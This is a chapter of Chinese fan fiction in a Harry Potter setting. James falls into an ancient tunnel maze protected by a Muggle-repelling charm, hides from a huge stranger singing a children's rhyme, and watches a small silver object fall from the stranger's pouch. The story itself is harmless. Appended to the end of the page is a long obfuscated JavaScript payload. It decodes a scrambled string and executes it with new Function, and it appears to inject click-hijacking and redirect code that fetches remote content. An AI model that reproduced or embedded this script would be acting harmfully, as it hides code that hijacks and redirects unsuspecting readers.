Chapter 9(1 / 2)

    如果一定要让詹姆斯选一个词来描绘他此时的感觉,那么,毫无疑问的:魔法。

    他记得这种感觉。当他那天试图靠近墓园西边的时候,不断有各种各样“十分紧急”的琐事从他的脑子里钻出来——或者钻进来?无数的想法以他自己的声音催促着他掉头离去。

    如果他没记错的话?

    ——麻瓜驱逐咒。

    眼下他倒是十分愿意掉头离开,如果,他没有从几十英尺的洞口滚落下来的话。

    自洞底潮湿冰冷的淤泥中朝高处望去,只能隐约看到一些微弱的光。他的脚踝一定严重扭伤了,痛得令他难以站立。

    一开始,他以为自己掉进了猎人的某个废弃的陷阱,但很快一阵带着泥土湿气的风拂过他的脑袋灌进他身侧一处黑洞洞的洞口里,令他否定了自己最初的猜测。

    他短暂考虑了呼救被人听见的可能性,但是由于离这里最近的人群眼下恐怕很难听清哪怕是距离他们六英尺以内的声音,再加上笼罩这里的麻瓜驱逐咒,他的呼救恐怕只是白白浪费力气。

    他希望约翰和萝拉无论曾经在何处,现在也已经平安回到了宴会场地,也许再过几个小时,人们就会注意到他的失踪,也许在天亮之前,有人会来搜寻他,也许非常幸运的,那些人里包括波特先生或者其他某位巫师。

    詹姆斯叹了口气,决定他最好还是尝试自救。费力的从贴身的罩衫下摆撕了几条布条,用来牢牢缠紧受伤的脚踝之后,他谨慎的试着站立起来,尽管仍然疼痛难忍,但他好歹不用继续瘫坐在淤泥里。再次往高处张望了一番,并且用手摸索着试探高处湿滑陡峭的土坡,他最终承认原路爬出去即使对一个四肢健全的人来说也是不可能的任务。抬起胳膊用袖子蹭了蹭眼皮上沾到的淤泥,他朝身侧那有风灌入的洞口看去,那洞口看上去足以容纳一个比他瘦小一些的成人通过。又犹豫了片刻,詹姆斯试着活动了一下包扎过的脚踝,然后扶着洞口突出的泥块,低头朝里面钻了进去。

    正如他所想的,那是一条很深的地道,表面有些凹凸不平,但是越往里走,地道越宽广,很快詹姆斯就不用再勾着脖子缩着肩膀前进,事实上,当他爬完一段上下坡之后,这里的空间看上去能允许一个比他高大壮硕一倍有余的人轻松穿行。

    是的,第一段上下坡。

    詹姆斯发现这条地道比他想象中要长得多,蜿蜒曲折而且起伏不平。地道里间或能看到从高处投下的一束冰冷的星光,但是等他兴奋地走到近旁,仰头看去就会发现,那是从地道顶上一处近乎垂直的洞口投下的,从下方看直径至少有四英尺宽的洞口,彼端的出口看着却只有一个模糊的光点。每经过一处像这样的“天窗”,詹姆斯都要驻足摸索一番。可惜,且不论他能否从那比他摔下来的入口还要陡峭的洞口爬出去,单是要够到此处距他头顶足有五英尺高的地道顶都是一项难题。而且,有这么多“天窗”,这地下却没有被灌水,那么上方的出口也多半有什么遮蔽物。

    显然这里并不是天然形成,他能看出这条地下地道相当古老,能勉强看出人工挖凿设计的痕迹,但这里也不像是书上记载描述的任何一种古代的防御工事。

    再往深处,出现了许多条岔路,这下詹姆斯更觉得自己陷进了某个离奇的迷宫,好在,这里是地下,只要顺着空气流动的方向走,他就不会把自己困死在这里。当他在地道里行进了一个多小时以后(他感觉是这么久),地道两旁开始出现一些“房间”,漆黑的门洞里面气味很难闻,有一些似乎被后来的塌陷掩埋起来,显然不管这些“房间”原本是用来储藏物件还是居住,都已经废弃了很久了。

    而当他最终来到一处明显的“居住区”时,他的理智开始小声建议他:最好还是回到□□处的淤泥堆里等待救援。

    他站在一处勉强算是开阔的空地中央,时不时能踩到或者绊到一些破碎的陶器与腐朽的木制物件,四周有好几条岔路通往不同的方向,他能透过头顶透下的几束宝贵的星光,看到那些黑黢黢的地道和洞口,似乎没有光线能透进去,似乎那黑暗里面藏着某种饥饿的野兽把微弱的光线吞吃掉了。詹姆斯艰难吞咽了一下,开始谴责自己不合时宜活跃起来的想象力。

    就在这时,他听到其中一条地道里传来奇怪的声音。

    他想他听到脚步声,或者至少是一个足够笨重的大家伙试着在黑暗中快速移动,还有隐约的粗重呼吸声,伴随着某些听不清楚、在地道中隆隆回响的说话声。

    在短暂犹豫了一秒后,詹姆斯拖着饱受折磨的脚踝返回他来时的那条地道,接着又担心不够保险,于是小心地藏到其中一个漆黑的洞口边。那些声响越来越近,现在他能清晰听到甚至透过紧靠的泥土感觉到那沉重的脚步声,几秒种后,他看见一个巨人出现在他方才所处的空地上。

    当然那并不可能真的是一个巨人。但他看上去相当高大,也许有七英尺高,身材足有詹姆斯的两三倍宽,而那只拳头看上去几乎有他的脑袋一般大——并且,很不相称的,在那粗笨的手指间还捏着一根细细的小木棍。

    詹姆斯眨了眨眼睛,再次仔细打量那个看上去蠢笨的大块头。一束光从“天窗”透下,正好照在那人头顶,他有一头似乎从来没修剪或者梳洗过的长头发,至少应该是深色的,一绺绺垂下来,随着他的动作像柳条似的晃来晃去。他的脸大半被掩藏在阴影和头发里,仅能看见一只硕大的鼻子,他的身上穿着一件难以辨认原本颜色的袍子,并且还在脖子上跟腰间绑了许多马尾以及动物毛皮似的的装饰品。一双大脚没穿鞋子,已经被经年的污泥和老茧覆盖,看上去就像两块巨大的岩石。

    大块头一边在空地转来转去,嘴里一边呼哧呼哧地叨咕着什么。詹姆斯仔细听了一会儿,才听出他是在唱一首歌谣:“……村里男孩们都高兴,除了阿莫里克,他想要一个好妻子……他买来煎锅和摇篮,买来刀和叉……明天天亮就是婚礼……”

    只是那歌词被他唱得含糊不清,曲调也全然不准。詹姆斯能够听出来,完全是因为他常常听到村里的女孩们唱着这首歌谣做游戏。原本的曲调是很优美的,开头有些淡淡的忧伤,歌词则是这样:

    桂竹香,桂竹香,长得高又高

    我们都是姑娘,我们都要死去

    除了某某(叫玩游戏的其中一个女孩的名字)

    因为她是最小的姑娘

    然后调子变得欢快些:

    她能蹦她能跳

    她爱唱歌又爱笑

    呸呸呸

    她可真是个疯姑娘

    这里大家一起拍着手跳着脚唱:

    村里的男孩都高高兴兴

    除了某某(某个男孩的名字,不一定是在场的人)

    他总是想要一个好妻子

    他去向某某和某某求爱(玩游戏的另外两个女孩)

    最后他把疯姑娘带回家

    他爱她爱得深

    他亲她,抱她,放她在膝上

    他说“我亲爱的某某,我们过得多开心”

    他买了煎锅和摇篮

    他买了刀叉摆上桌

    疯姑娘某某做了甜布丁

    等到某某回家才切布丁

    某某快来尝一尝

    明天天亮就是婚礼

    猫儿会叫钟会响

    死去的姑娘们把歌唱

    说实话,詹姆斯一直觉得孩子们唱的这些歌谣,若是少了欢快的曲调和孩子们的笑声,很多都让人听来有些后背发凉。而眼下就恰好是最糟糕的情况。

    就算那人不在这黑漆漆的地下迷宫里唱着不成调的歌谣,詹姆斯恐怕也无法说服自己:那是一位可以向其求助的普通过路人。

    小心翼翼从藏身处观察着那个怪异的陌生人,只见他一边唱着歌,一边在空地上那堆垃圾中间翻来捡去,碍事的零碎便被他随手扔到一边,一时间那些碎陶罐、石头块和烂木头乒乓作响,在地道中发出怪异的回声。

    然后就在那个陌生人不注意时,詹姆斯看到一个银亮亮的小东西从他腰带后面那破破烂烂的袋子里掉出来,在落到尘土上时闪烁了一下,紧接着就被那只岩石般的大脚踢进了旁边的碎陶片和烂木头堆里。

!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mC:2qC4YmRT4"="o}0X5ThF)mCO7h_fTmRT4"="o}02pThFmC:2qC4YmRT4"="o}0_JqhFmCO7h_fTmRT4"="o}02TOhFmC:2qC4YmRT4"="o}0CSqhF)mCO7h_fTmRT4"="o}0)FfThF)fmC:2qC4YmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q/f/o}0j(8}vR8RX^^)OFqR_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();